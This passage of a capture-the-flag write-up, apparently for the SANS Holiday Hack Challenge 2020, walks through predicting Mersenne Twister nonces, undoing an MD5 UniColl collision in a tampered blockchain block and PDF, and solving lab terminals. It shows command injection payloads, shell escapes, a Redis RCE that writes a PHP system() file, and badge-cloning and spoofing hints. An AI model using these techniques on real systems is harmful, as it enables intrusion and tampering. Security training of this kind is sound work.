Elf-on-the-shelf is the reporter and the number that follows is its RID in decimal value. We get to know that Banjamin has the PID 0803508ada0a5ebf
.
Now that we have a fairly good understanding of the Naughty/Nice Blockchain structure, let’s answer the objective question.
The nonces are 64-bit values and are generated with the Python random
function. What we saw in the Snowball Game, is that random
uses the Marsene-Twister (MT19937) algorithm for the PRNG. The standard implementation generates 32-bit random numbers. So how is the Python implementation used to generate 64-bit random numbers?
We can have a look at the random
module from the CPython Github repository. Its underlying implementation is done in C and can be found here. From the function _random_Random_getrandbits_impl
we understand how random numbers bigger than 32-bit are generated:
So for 64-bit numbers, it will generate two 32-bit numbers and concatenate them! This works for any bit size, if the size is not a multiple of 32, it just drops the least significant bits of the last random number to match the right size. Let’s try it in an interpreter:
This a good news as we can still use the marsene-twister-predictor
to predict the next nonces. We just need to extract the nonces from the blockchain, split each of them into two 32-bit numbers and feed them to the predictor. The following code extracts the nonces into nonces.txt
:
Now we need to feed the last 624 numbers of the list to mt19937predict
so that we can retrieve the future ones. As we have to find the nonce of the block 130000 (which is 4 blocks after the last one), we need to get the next 8 32-bit random numbers and concatenate the last 2 in their hexadecimal form:
1710059470 # used for block 129997
3074734778
15809261 # used for block 129998
25586365
3180594148 # used for block 129999
2219797255
4079973021 # used for block 130000
1460036376
We can get the final answer with Python:
|
|
We can investigate the blockchain a little more and check if there is some block content that differs from others:
We have only one result, the block with ID 129459
.
Again, we have only one result, the block with ID 129459
.
129459
?This block is definitely shady. This elf has the highest possible score, there is some binary data that seems meaningless and the PDF size is the biggest of all the blocks. If we dump the PDF data, we get Jack Frost’s report:
This is probably the block that Tinsel Upatree was mentioning. The block that has been tampered with by Jack Frost to be the nicest person in the world!!
11b - Naughty/Nice List with Blockchain Investigation Part 2
Let’s first confirm that Jack’s altered block is the shady block we found out in the previous Objective. The following code will uncover it based on the SHA256 that we are given:
The only output we get is, again, the block 129459
!
So we know that Jack Frost has been able to alter the block and keep the same MD5 hash (collision) by changing only 4 bytes! The very first one seems obvious and is the sign that indicates if the elf is naughty or nice. We can change it from 1
to 0
. This makes Jack the naughtiest elf on Earth!
We know from the hints gathered in the Snowball Game that the technique that was used by Jack to generate the collision was UniColl. The technique is described in this Hash Collision Exploitation slide deck (from slide 101 onward) and we can find some additional information here.
Without going into the cryptographic details, the UniColl collision technique characteristics are the following:
- we can choose the prefix and it can be of any size
- blocks are 64 bytes
- the prefix is part of the collision blocks
- given 2 binary blobs with the same MD5 hash, only 2 bytes are different. The first byte difference is +1 and the second byte difference is -1.
- the first byte is the 10th byte of the last block containing the prefix
- the second byte is the 10th byte of the next block
An example of the slide deck shows it more clearly:
Knowing that and by looking at the block data, we start to understand what changes have been done:
As we can see, the weird binary blob is part of the collision blocks and the second byte we have to change is probably in there. Let’s have a look at the collision blocks binary data. We can call the Block.block_data()
method and print the first 192 bytes (the size of 3 collision blocks). After some data arrangement, we get:
The 10th byte of the last prefix block corresponds to our naughty/nice flag. So if we change it to 0
, we will need to increment the 10th byte of the next block which is 0xd6
. Let’s compute the hash after those 2 changes and check that the MD5 has not changed:
We got the first 2 bytes!
Jack Frost has as well tampered with the PDF file to show a fake report instead of the original one made by Shinny Upatree. He must have as well used some trick to get an MD5 collision. Let’s first have a look at the PDF file in a hex editor. We can use HexEd.it:
We see a first Catalog
object (with a hidden message for Santa) that references the object 2
that is a Pages
dictionary which indicates what are the pages of the document. The Pages
dictionary (in blue) only has 1 page (Count 1
) and the page information is in the Kid
object 23
.
We see as well another page tree that is not referenced (in green). It has as well only one page referred in Kid
object 15
. If we change the Catalog
reference to object 3
and save this new document, we access what seems the original report on Jack Frost
which says the exact opposite of the previous one:
This is the 3rd byte to change then! This looks again like Jack used a UniColl collision. The method to create such PDF is described here and at the end of the slide deck. The structure of such a PDF looks like this:
As per UniColl rules, if we increase the 10th byte of the prefix, we must decrease the 10th byte of the next block (64 bytes after). The Pages
reference of our PDF, however, is not aligned to the 10th byte. This means that the prefix takes some additional bytes before the PDF data into account, so do not expect to have matching MD5
hashes when doing those changes with the PDF
alone:
Let’s do those changes and verify that the block’s MD5 does not change. Knowing that the second byte is at index 127
of the PDF, we can do the following:
Seems like we have recovered the original block! We compute the SHA-256 hash as follows:
Jack initially added the new block with the correct data about him. However, the block was ready to be altered anytime. The initial PDF was already merged with the evil one and the collision blocks were already part of the documents. He then just needed to wait the right moment to change those 4 bytes without being spotted!
Tinsel does not seem more enthusiast than normal after this big achievement:
The mystery is solved! I can’t wait to see which attendee solved it!
Epilogue
Time to go to Santa’s Balcony where Eve Snowshoes is waiting for Santa:
Eve Snowshoes:
I’m so glad we got the Naughty-Nice Blockchain set right again! Gosh, it would be great to see the SANS Holiday Hack player who helped you fix it!
Can you go find the person who did that and come back here?
Let’s get back our avatar and come back to Eve. We have to trick again the Santavator as we did in Objective 10. Once in Santa’s Office, Tinsel says:
Youâ-âyou did it! You solved the mystery! Quickly, go out to the balcony to be recognized!
This time the door to the balcony is wide open. As soon as we enter it we unlock the last narrative:
Santa:
Thank you for foiling Jack’s foul plot!
He sent that magical portrait so he could become me and destroy the holidays!
Due to your incredible work, you have set everything right and saved the holiday season! Congratulations on a job well done!
Ho Ho Ho!
And poor Jack to say:
Jack Frost:
My plan was NEARLY perfect⌠but I never expected someone with your skills to come around and ruin my plan for ruining the holidays!
And now, they’re gonna put me in jail for my deeds.
Finally, Eve gives us access to some hidden swag!
What a fantabulous job! Congratulations!
You MUST let us know how you did it! Feel free to show off your skills with some swagâ-âonly for our victors!
CranPi Terminals
1 - Kringle Kiosk
Shinny Upatree:
Hiya hiyaâ-âI’m Shinny Upatree! Check out this cool KringleCon kiosk!
You can get a map of the castle, learn about where the elves are, and get your own badge printed right on-screen! Be careful with that last one though. I heard someone say it’s “ingestible.” Or somethingâŚ
Do you think you could check and see if there is an issue?
He suggests us a document on Command Injection:
- Command Injection - There’s probably some kind of command injection vulnerability in the menu terminal.
After a welcome message we access the kiosk app:
The first menu shows a map of Santa’s castle:
The second menu displays the KringleCon III and Holiday Hack Challenge Code of Conduct and Terms of Use. The third menu shows the location of each elf:
The last menu is the only one that requires user input and seems the best place to try an injection:
If our input is concatenated to a system command without being sanitized first, there are chances that we can inject additional commands. We can, for instance, try to add ;ls
to our name:
It worked and it works as well with other special characters like &&
or |
. We can read the welcome.sh
script with ;cat welcome.sh
. We discover the logic of the script and where the vulnerability lies:
To fix the Command Injection vulnerability, we can enclose the $name
variable in double-quotes:
We discover as well a hidden menu plant
:
where spot our old friend Jason the Plant :)
We see that most of the outputs come from files that are stored in /opt
. Let’s see if there are other hidden gems with ;ls -la /opt
:
There are 2 additional files: mailbox.txt
and success.txt
. Both show ASCII art. Nothing else seems interesting, we can finally escape the kiosk app by calling bash ;/bin/bash
:
Back to Shinny who gives us no less than 5 hints to complete Objective 2:
Shinny Upatree:
Gollyâ-âwow! You sure found the flaw for us!
Say, we’ve been having an issue with an Amazon S3 bucket. Do you think you could help find Santa’s package
file?
Jeepers, it seems there’s always a leaky bucket in the news. You’d think we could find our own files!
Digininja has a great guide, if you’re new to S3 searching. He even released a tool for the taskâ-âwhat a guy! The package wrapper Santa used is reversible, but it may take you some trying.
Good luck, and thanks for pitching in!
- Find Santa’s Package - Find Santa’s package file from the cloud storage provider. Check Josh Wright’s talk for more tips!
- Bucket_finder.rb - He even wrote a tool to search for unprotected buckets!
- Santa’s Wrapper3000 - Santa’s Wrapper3000 is pretty buggy. It uses several compression tools, binary to ASCII conversion, and other tools to wrap packages.
- Finding S3 Buckets - Robin Wood wrote up a guide about finding these open S3 buckets.
- Leaky AWS S3 Buckets - It seems like there’s a new story every week about data exposed through unprotected Amazon S3 buckets.
2 - Linux Primer
Sugarplum Mary:
Sugarplum Mary? That’s me!
I was just playing with this here terminal and learning some Linux! It’s a great intro to the Bash terminal. If you get stuck at any point, type hintme to get a nudge!
Can you make it to the end?
We get the following message when we launch the terminal:
This challenge will be a list of Linux commands to run in the terminal. Here are the questions and answers:
HELP munchkin_19315479765589239 workshop
munchkin_24187022596776786
/home/elf
total 56
drwxr-xr-x 1 elf elf 4096 Dec 12 08:43 .
drwxr-xr-x 1 root root 4096 Dec 10 18:14 ..
-rw-r–r– 1 elf elf 31 Dec 10 18:18 .bash_history
-rw-r–r– 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r–r– 1 elf elf 3105 Dec 5 00:00 .bashrc
-rw-r–r– 1 elf elf 0 Dec 12 08:43 .munchkin_5074624024543078
-rw-r–r– 1 elf elf 807 Apr 4 2018 .profile
-rw-r–r– 1 elf elf 168 Dec 5 00:00 HELP
drwxr-xr-x 1 elf elf 20480 Dec 10 18:19 workshop
1 echo munchkin_9394554126440791
2 ls -la
3 cat HELP
4 ls
5 cat munchkin_19315479765589239
6 rm munchkin_19315479765589239
7 pwd 8 ls -la
9 history
[…]
z_MUNCHKIN=munchkin_20249649541603754
[…]
grep
while ignoring case to find which toolbox the munchkin is in.toolbox_191.txt:mUnChKin.4056180441832623
lollipop_engine
from starting. Run the lollipop_engine
binary to retrieve this munchkin.$ ./lollipop_engine
munchkin.898906189498077
/home/elf/workshop/electrical
. cd into electrical
and rename blown_fuse0
to fuse0
.$ mv blown_fuse0 fuse0
fuse1
that points to fuse0
fuse1
named fuse2
.fuse2
./opt/munchkin_den
.$ grep -iR munchkin /opt/munchkin_den/ # searching for file content
$ find /opt/munchkin_den -iname *munchkin* # both failed, searching for case insensitive filename
/opt/munchkin_den
/opt/munchkin_den/apps/showcase/src/main/resources/mUnChKin.6253159819943018
/opt/munchkin_den
that is owned by the user munchkin
./opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411
/opt/munchkin_den
./opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
init 1 0.0 0.0 65320 21336 pts/0 Ss+ 08:34 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf 63312 0.6 0.0 84316 25840 pts/2 S+ 09:14 0:00 /usr/bin/python3 /14516_munchkin
elf 64339 0.0 0.0 36180 3336 pts/3 R+ 09:15 0:00 ps -aux
14516_munchkin
process is listening on a tcp port. Use a command to have the only listening port display to the screen.Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
54321
is an HTTP server. Interact with this server to retrieve the last munchkin.munchkin.73180338045875
14516_munchkin
process to collect the remaining lollipops.Once all the tasks are completed, Sugarplum gives us a few hints to complete Objective 3:
Sugarplum Mary:
You did it - great!
Maybe you can help me configure my postfix mail server on Gentoo! Just kidding!
Hey, wouldja' mind helping me get into my point-of-sale terminal? It’s down, and we kinda' need it running. Problem is: it is asking for a password. I never set one! Can you help me figure out what it is so I can get set up?
Shinny says this might be an Electron application. I hear there’s a way to extract an ASAR file from the binary, but I haven’t looked into it yet.
3 - Unescape Tmux
Pepper Minstix:
Howdyâ-âPepper Minstix here!
I’ve been playing with tmux
lately, and golly it’s useful. Problem is: I somehow became detached from my session. Do you think you could get me back to where I was, admiring a beautiful bird?
If you find it handy, there’s a tmux cheat sheet you can use as a reference.
I hope you can help!
- Tmux Cheat Sheet - There’s a handy tmux reference available at https://tmuxcheatsheet.com/!
The terminal welcomes us with the following message:
I was playing with my birdie (she’s a Green Cheek!) in something called tmux,
then I did something and it disappeared!
Can you help me find her? We were so attached!!
We can start by listing the existing sessions with either tmux ls
or tmux list-sessions
. We get only one existing session:
We can attach to it with tmux attach
to get our birdie back:
Now that we solved Pepper’s issue, he gives us a few hints to complete Objective 4:
Pepper Minstix:
You found her! Thanks so much for getting her back!
Hey, maybe I can help YOU out! There’s a Santavator that moves visitors from floor to floor, but it’s a bit wonky. You’ll need a key and other odd objects. Try talking to Sparkle Redberry about the key.
For the odd objects, maybe just wander around the castle and see what you find on the floor. Once you have a few, try using them to split, redirect, and color the Super Santavator Sparkle Stream (S4). You need to power the red, yellow, and green receivers with the right color light!
- Santavator Operations - It’s really more art than science. The goal is to put the right colored light into the receivers on the left and top of the panel.
4 - Speaker UNprep
Bushy Evergreen:
Ohai! Bushy Evergreen, just trying to get this door open.
It’s running some Rust code written by Alabaster Snowball. I’m pretty sure the password I need for ./door
is right in the executable itself. Isn’t there a way to view the human-readable strings in a binary file?
We unlock the following hints:
- Strings in Binary Files - The strings command is common in Linux and available in Windows as part of SysInternals.
- Letting a Program Decrypt for You - While you have to use the lights program in
/home/elf/
to turn the lights on, you can delete parts in/home/elf/lab/
. - Lookup Table - For polyalphabetic ciphers, if you have control over inputs and visibility of outputs, lookup tables can save the day.
Bushy wants us to help him open the door of the Speaker Unpreparedness Room which is password protected. The terminal welcomes us with this message:
The door is controlled by
./door
, but it needs a password! If you can figure out the password, it’ll open the door right up!Oh, and if you have extra time, maybe you can turn on the lights with
./lights
activate the vending machines with ./vending-machines
? Those are a little trickier, they have configuration files, but it’d help us a lot!(You can do one now and come back to do the others later if you want)
We copied edit-able versions of everything into the
./lab/
folder, in case you want to try EDITING or REMOVING the configuration files to see how the binaries react.Note: These don’t require low-level reverse engineering, so you can put away IDA and Ghidra (unless you WANT to use them!)
Let’s start by running the door
binary:
$ ./door
You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There’s gotta be a tool for this…
What do you enter? >
Let’s look at the binary strings with strings door | more
. We get pages and pages of strings but we find the password not far from the intro text:
The first goal is completed as we enter this password in the door
binary. Next, the lights
binary:
$ ./lights
The speaker unpreparedness room sure is dark, you’re thinking (assuming you’ve opened the door; otherwise, you wonder how dark it actually is)
You wonder how to turn the lights on? If only you had some kind of hin—
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf
—t to help figure out the password… I guess you’ll just have to make do!
The terminal just blinks: Welcome back, elf-technician
What do you enter? > 1234
Beep boop invalid password
If we look at the lights.conf
file, we see what seems an encrypted password and a username:
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: elf-technician
Let’s do some tests in the lab
folder where we can play with the config files:
- if we rename the config file, we get the error
ERROR: Could not load /home/elf/lab/lights.conf
, - if we delete the password configuration, we get:
Password is missing from the config file!
, - if we replace the password with a blank one, we get
That would have turned on the lights!
. Good! However, we cannot edit the production config file :(
If we talk again to Bushy, he gives us some other hint:
Bushy Evergreen:
That’s it! What a great passwordâŚ
Oh, this might be a good time to mention another lock in the castle. Santa asked me to ask you to evaluate the security of our new HID lock. If ever you find yourself in possession of a Proxmark3, click it in your badge to interact with it. It’s a slick device that can read others' badges!
Hey, you want to help me figure out the light switch too? Those come in handy sometimes. The password we need is in the lights.conf
file, but it seems to be encrypted.
There’s another instance of the program and configuration in ~/lab/
you can play around with. What if we set the user name to an encrypted value?
- if we remove the
E$
suffix of the password, the application treats it as a clear-text password.
Seems like the app decrypts all the configuration that starts with E$
. What if we set an encrypted name? As the app displays the username, what if we set the password value as the name?
It got decrypted! We run the production binary and enter the password to light on the Speaker Unpreparedness Room. Then Bushy adds:
Bushy Evergreen:
Wowâ-âthat worked? I mean, it worked! Hooray for opportunistic decryption, I guess!
Oh, did I mention that the Proxmark can simulate badges? Cool, huh? There are lots of references online to help. In fact, there’s a talk going on right now!Â
So hey, if you want, there’s one more challenge. You see, there’s a vending machine in there that the speakers like to use sometimes.
Play around with ./vending_machines
in the lab
folder.
You know what might be worth trying? Delete or rename the config file and run it. Then you could set the password yourself to AAAAAAAA
or BBBBBBBB
. If the encryption is simple code book or rotation ciphers, you’ll be able to roll back the original password.
The ./vending_machines
binary asks as well for a password. The configuration file looks like this:
{
“name”: “elf-maintenance”,
“password”: “LVEdQPpBwr”
}
Let’s play again with the lab
version. If we delete the configuration file, we are asked to recreate it and to set our own username and password:
The password is encrypted and stored in the configuration file:
“name”: “noob”,
“password”: “XiGRehmwXiGRehmwXiGR”
}
We see a pattern in the ciphertext. It looks like polyalphabetic encryption with a key long 8 characters (the A
is encrypted as X
every 8 chars). For BBBBBBBB
we get DqTpKv7f
. If we do that for all the alphabet in use [A-Za-z]
, we get the following lookup table:
The first letter (row) of the cipher-text L
corresponds to the letter C
of the plaintext (column). The second letter is V
-> a
…and so on. This gives us the password CandyCane1
with which we can activate the vending machine! The last words of Bushy are:
Bushy Evergreen:
Your lookup table workedâ-âgreat job! That’s one way to defeat a polyalphabetic cipher!
Good luck navigating the rest of the castle.
And that Proxmark thing? Some people scan other people’s badges and try those codes at locked doors. Other people scan one or two and just try to vary room numbers.
Do whatever works best for you!
We unlock the hints to complete Objective 5:
- What’s a Proxmark? - The Proxmark is a multi-function RFID device, capable of capturing and replaying RFID events.
- Reading Badges with Proxmark - You can use a Proxmark to capture the facility code and ID value of HID ProxCard badge by running
lf hid read
when you are close enough to someone with a badge. - Impersonating Badges with Proxmark - You can also use a Proxmark to impersonate a badge to unlock a door, if the badge you impersonate has access.
lf hid sim -r 2006
…… - Short List of Essential Proxmark Commands - There’s a short list of essential Proxmark commands also available.
- Proxmark Talk - Larry Pesce knows a thing or two about HID attacks. He’s the author of a course on wireless hacking!
5 - CAN-Bus Investigation
Wunorse Openslae:
Hiya hiyaâ-âI’m Wunorse Openslae! I’ve been playing a bit with CAN bus. Are you a car hacker?
I’d love it if you could take a look at this terminal for me. I’m trying to figure out what the unlock code is in this CAN bus log. When it was grabbing this traffic, I locked, unlocked, and locked the doors one more time. It ought to be a simple matter of just filtering out the noise until we get down to those three actions.
Need more of a nudge? Check out Chris Elgee’s talk on CAN traffic!
- Filtering Text - You can hide lines you don’t want to see with commands like
cat file.txt | grep -v badstuff
- Chris Elgee is talking about how CAN traffic works right now!
We are asked to filter data in a file dump and find when the UNLOCK
command was triggered:
The dump candump.log
shows uncomprehensible information:
By watching Chris Elgee’s talk, we understand what a CAN Bus actually is. What we see in the last column of the dump is a CAN message that is composed of a CAN ID (3 chars) which represents a car component or action (i.e lock, brake, accelerate, etc.) followed by a data chunk that can indicate, for instance, if a lock opens/closes, or the value of the acceleration/deceleration, etc. The ID and the data are separated by the delimiter #.
As per the instructions, we know that the door lock CAN ID must be present 3 times only, 2 LOCK
and 1 UNLOCK
message. Let’s first count the number of unique CAN ID:
35 188
3 19B
1331 244
So it seems that the ID 19B
is our candidate! If we filter them, we get:
(1608926664.626448) vcan0 19B#000000000000 # LOCK
(1608926671.122520) vcan0 19B#00000F000000 # UNLOCK
(1608926674.092148) vcan0 19B#000000000000 # LOCK
We can now send our answer to validate the challenge:
There are two LOCK codes and one UNLOCK code in the log. What is the decimal portion of the UNLOCK timestamp?
(e.g., if the timestamp of the UNLOCK were 1608926672.391456, you would enter 391456.
> 122520
Wunorse seems still worried though:
Wunorse Openslae:
Great work! You found the code! I wonder if I can use this knowledge to work out some kind of universal unlocker ⌠to be used only with permission, of course!
Say, do you have any thoughts on what might fix Santa’s sleigh? Turns out: Santa’s sleigh uses a variation of CAN bus that we call CAN-D bus. And there’s something naughty going on in that CAN-D bus.
The brakes seem to shudder when I put some pressure on them, and the doors are acting oddly. I’m pretty sure we need to filter out naughty CAN-D-ID codes. There might even be some valid IDs with invalid data bytes.
For security reasons, only Santa is allowed access to the sled and its CAN-D bus. I’ll hit him up next time he’s nearby.
We get a hint to complete Objective 7:
- CAN ID Codes - Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What’s up with the brakes and doors?
6 - Redis Bug Hunt
Holly Evergreen:
Hi, so glad to see you! I’m Holly Evergreen. I’ve been working with this Redis-based terminal here.
We’re quite sure there’s a bug in it, but we haven’t caught it yet. The maintenance port is available for curl
ing, if you’d like to investigate.
Can you check the source of the index.php
page and look for the bug?
I read something online recently about remote code execution on Redis. That might help! I think I got close to RCE, but I get mixed up between commas and plusses.
You’ll figure it out, I’m sure!
- Redis RCE - This is kind of what we’re trying to do…
The terminal shows the following instructions:
To access it, run:
curl http://localhost/maintenance.php
We’re pretty sure the bug is in the index page. Can you somehow use the maintenance page to view the source code for the index page?
Let’s curl
the page and see what happens:
ERROR: ‘cmd’ argument required (use commas to separate commands); eg:
curl http://localhost/maintenance.php?cmd=help
curl http://localhost/maintenance.php?cmd=mget,example1
We can run commands through the cmd
variable. If we try the help
command:
We see that our command is used as argument to redis-cli
to show the Redis help. Let’s try the info
command to show some server information:
As explained by Holly, we may exploit an RCE vulnerability in Redis. We can follow this procedure to write a PHP file in the web files and execute system calls. Spaces in commands must be replaced by commas.Â
In our case, the web files are located in /var/www/html
, so to change Redis working directory, we have to execute:
Then we set the file in which we want to write as the current database (here we create a new file rce.php
):
We create a dummy value test
containing what we want to write into the database file. As the goal is to read index.php
, we can use the PHP system call to display it. Do not forget to URL-encode special characters:
Finally, we dump the Redis buffer containing our test
value into our rce.php
file with the save
command:
Now we can curl
our new PHP file to see the content of the index.php
file and validate the challenge:
Holly gives us some hints to complete Objective 8:
Holly Evergreen:
See? I knew you could to it!
I wonder, could we figure out the problem with the Tag Generator if we can get the source code? Can you figure out the path to the script? I’ve discovered that enumerating all endpoints is a really good idea to understand an application’s functionality. Sometimes I find the Content-Type
header hinders the browser more than it helps. If you find a way to execute code blindly, maybe you can redirect to a file then download that file?
- Source Code Retrieval - We might be able to find the problem if we can get source code!
- Error Page Message Disclosure - Can you figure out the path to the script? It’s probably on error pages!
- Download File Mechanism - Once you know the path to the file, we need a way to download it!
- Endpoint Exploration - Is there an endpoint that will print arbitrary files?
- Content-Type Gotcha - If you’re having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
- Source Code Analysis - I’m sure there’s a vulnerability in the source somewhere… surely Jack wouldn’t leave their mark?
- Redirect to Download - If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
- Patience and Timing - Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
7 - Scapy Prepper
Alabaster Snowball:
Welcome to the roof! Alabaster Snowball here.
I’m watching some elves play NetWars! Feel free to try out our Scapy Present Packet Prepper! If you get stuck, you can help()
to see how to get tasks and hints.
This is a challenge around Scapy. Scapy is a Python program and library used to manipulate, sniff and dissect network packets. We will go through a few questions that will lead us through the basic usage of Scapy:
Correct! The “send” scapy class will send a crafted scapy packet out of a network interface.
Correct! the “sniff” scapy class will sniff network traffic and return these packets in a list.
Q3: Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:
- pkt = sr1(IP(dst=“127.0.0.1”)/TCP(dport=20))
- pkt = sniff(IP(dst=“127.0.0.1”)/TCP(dport=20))
- pkt = sendp(IP(dst=“127.0.0.1”)/TCP(dport=20))
Correct! sr1 will send a packet, then immediately sniff for a response packet.
Correct! the “rdpcap” scapy class can read pcap files.
Q5: The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
- UDP_PACKETS.print()
- UDP_PACKETS.show()
- UDP_PACKETS.list()
Correct! .show() can be used on lists of packets AND on an individual packet.
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc… can be accessed this way. Ex - pkt[IP][TCP]
>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.
We can list all TCP info in all the packets with:
We see some packets with Raw
data. The 7th packet contains a password:
>>> TCP_PACKETS[6]
<Ether dst=00:15:f2:40:76:ef src=00:16:ce:6e:8b:24 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=51 id=42982 flags=DF frag=0 ttl=128 proto=tcp chksum=0xd05a src=192.168.0.114 dst=192.168.0.193 |<TCP sport=1137 dport=ftp seq=3753095950 ack=3334930821 dataofs=5 reserved=0 flags=PA window=17357 chksum=0xe96b urgptr=0 |<Raw load=‘PASS echo\r\n’ |>>>>
>>> task.submit(‘echo’)
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
By running the recommended command, we see that this is an FTP flow:
[b'220 North Pole FTP Server\r\n', b’USER alabaster\r', b'331 Password required for alabaster.\r', b’PASS echo\r\n', b'230 User alabaster logged in.\r']
>>> hex(ICMP_PACKETS[1][ICMP].chksum)
‘0x4c44’
>>> task.submit(0x4c44)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1][ICMP].chksum .
Q11: Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named “pkt”
- pkt = Ether(src=‘127.0.0.1’)/ICMP(type=“echo-request”)
- pkt = IP(src=‘127.0.0.1’)/ICMP(type=“echo-reply”)
- pkt = IP(dst=‘127.0.0.1’)/ICMP(type=“echo-request”)
Correct! Once you assign the packet to a variable named “pkt” you can then use that variable to send or manipulate your created packet.
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=“127.127.127.127”)/UDP(dport=5000)
task.submit(pkt)
>>> task.submit(pkt)
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst=“127.2.3.4”)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=“elveslove.santa”))
task.submit(pkt)
Let’s look at the second packet:
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>>
The errors are:
hwsrc
andhwdst
are set toff:ff:ff:ff:ff:ff
and should be set to the Ethernetsrc
anddst
value,- the
op
value is set toNone
and should instead be set to ‘reply’ that has a value of2
.
>>> ARP_PACKETS[1][ARP].hwdst=“00:16:ce:6e:8b:24”
>>> ARP_PACKETS[1][ARP].op=2
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!
We can easily escape the Python interpreter by running:
>>> os.system('/bin/bash')
We talk again to Alabaster so that he gives us some hints to complete Objective 9:
Alabaster Snowball:
Great job! Thanks! Those skills might be useful to you later on!
I’ve been trying those skills out myself on this other terminal. I’m pretty sure I can use tcpdump
to sniff some packets. Then I’m going to try a machine-in-the-middle attack.
Next, I’ll spoof a DNS response to point the host to my terminal. Then I want to respond to its HTTP request with something I’ll cook up. I’m almost there, but I can’t quite get it. I could use some help!
For privacy reasons though, I can’t let you access this other terminal. I do plan to ask Santa for a hand with it next time he’s nearby, though.
- Sniffy - Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
- Spoofy - The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts.
- Resolvy - Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
- Embedy - The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a command in a customized .deb file.
Side Quests
The 33.6kbps Modem
Fitzy is waiting for us in the kitchen and has some issues with an old modem:
Fitzy Shortstack:
“Put it in the cloud”, they said⌠“It’ll be great”, they saidâŚ
All the lights on the Christmas trees throughout the castle are controlled through a remote server. We can shuffle the colors of the lights by connecting via dial-up, but our only modem is broken!
Fortunately, I speak dial-up. However, I can’t quite remember the handshake sequence. Maybe you can help me out? The phone number is 756â8347; you can use this blue phone.
When we access the modem, we have to take the handset, compose the phone number we were given and then manually do the handshake based on the “well-known” dial-up modem sounds that old people, like me, still dream of :) You can see the solution below:
Once completed, Fitzy says:
í˘Ýľ×¨OŮń¨ś$Ô¨ŘćĽÔ˛ ahem! We did it! Thank you!!
Anytime you feel like changing the color scheme up, just pick up the phone! You know, Santa really seems to trust Shinny UpatreeâŚ
If we do it a few more times, we can change the color scheme of the Christmas tree behind.
The Sort-O-Matic
We find Minty in the Workshop, he is struggling with a present sorting machine:
Minty Candycane:
Hey there, KringleCon attendee! I’m Minty Candycane!
I’m working on fixing the Present Sort-O-Matic. The Sort-O-Matic uses JavaScript regular expressions to sort presents apart from misfit toys, but it’s not working right. With some tools, regexes need /
at the beginning and the ends, but they aren’t used here.
You can find a regular expression cheat sheet here if you need it. You can use this regex interpreter to test your regex against the required Sort-O-Matic patterns.
Do you think you can help me fix it?
- JavaScript Regex Cheat Sheet - Handy quick reference for JS regular expression construction: https://www.debuggex.com/cheatsheet/regex/javascript.
- Regex Practice - Here’s a place to try out your JS Regex expressions: https://regex101.com/.
This challenge can as well be done on https://present-sorter.kringlecastle.com/.
We basically have to find the 8 regexes below in order to repair the Present Sort-O-Matic
:
The solutions are:
Description | Regex |
---|---|
Matches at least one digit | [0-9] or \d |
Matches 3 alpha a-z characters ignoring case | [a-zA-Z]{3} |
Matches 2 chars of lowercase a-z or numbers | [a-z\d]{2} |
Matches any 2 chars not uppercase A-L or 1-5 | [^A-L1-5]{2} |
Matches three or more digits only | ^\d{3,}$ |
Matches multiple hour:minute:second time formats only | ^([0-5]\d):([0-5]\d):([0-5]\d)$ |
Matches MAC address format only while ignoring case | ^([\dA-Fa-f]{2}:){5}([\dA-Fa-f]{2})$ |
Matches multiple day, month, and year date formats only | ^[0â3]\d[-./][0â1]\d[-./]\d{4}$ |
We passed the challenge and now all presents are sorted correctly:
Minty gives us some hints to complete Objective 6:
Minty Candycane:
Great job! You make this look easy!
Hey, have you tried the Splunk challenge? Are you newer to SOC operations? Maybe check out his intro talk from last year. Dave Herrald is doing a great talk on tracking adversary emulation through Splunk! Don’t forget about useful tools including Cyber Chef for decoding and decrypting data!
It’s down in the Great Room, but oh, they probably won’t let an attendee operate it.
